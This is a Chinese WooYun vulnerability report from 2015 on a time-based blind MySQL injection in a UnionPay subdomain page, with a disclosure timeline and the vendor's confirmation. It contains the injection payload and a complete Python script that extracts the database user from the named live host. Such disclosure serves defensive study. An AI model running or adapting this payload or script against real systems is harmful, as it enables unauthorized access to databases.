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缺陷编号:wooyun-2015-089917

漏洞标题:某大型支付机构所属子站MySQL注射(附验证脚本)

相关厂商:unionpay.com

漏洞作者: lijiejie

提交时间:2015-01-04 15:15

修复时间:2015-02-18 15:16

公开时间:2015-02-18 15:16

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:8

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2015-01-04: 细节已通知厂商并且等待厂商处理中
2015-01-09: 厂商已经确认,细节仅向厂商公开
2015-01-19: 细节向核心白帽子及相关领域专家公开
2015-01-29: 细节向普通白帽子公开
2015-02-08: 细节向实习白帽子公开
2015-02-18: 细节向公众公开

简要描述:

某大型支付机构所属子站MySQL注射(附验证脚本)

详细说明:

注入点:

POST http://appdownload.unionpay.com/hitdownload.php
type=aa"XOR(if(length(user())=2,sleep(3),0))OR"bb


参数type可注入,MySQL time blind.

漏洞证明:

猜解user(),得到;

db_ylyhdtapp@localhosc


unionpay_mysqli_1.png


python脚本:

#encoding=gbk
import httplib
import time
import string
import sys
import random
import urllib
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'Cookie': '',
'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
}
payloads = list(string.ascii_lowercase)
for i in range(0,10):
payloads.append(str(i))
payloads += ['@','_', '.']
print 'start to retrive MySQL user:'
user = ''
for i in range(1,23):
for payload in payloads:
timeout_count = 0
for j in range(1,4):
print '.',
try:
conn = httplib.HTTPConnection('appdownload.unionpay.com', timeout=3)
rand_num = str(random.random())
s = 'aa"XOR(if(ascii(mid(lower(user())from(%s)for(1)))=%s,sleep(3),0))OR"bb' % (i, ord(payload))
conn.request(method='POST',
url='/hitdownload.php',
body = "type=" + urllib.quote(s),
headers = headers)
start_time = time.time()
html_doc = conn.getresponse().read()
conn.close()
break
except:
timeout_count += 1
time.sleep(3)
#print payload, timeout_count
if timeout_count == 3:
user += payload
print '\n[In progress]', user
break
print '\n[Done]MySQL user is', user

修复方案:

参数过滤

版权声明:转载请注明来源 lijiejie@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-01-09 15:14

厂商回复:

CNVD确认所述情况,已经转由CNCERT向银监会通报。

最新状态:

暂无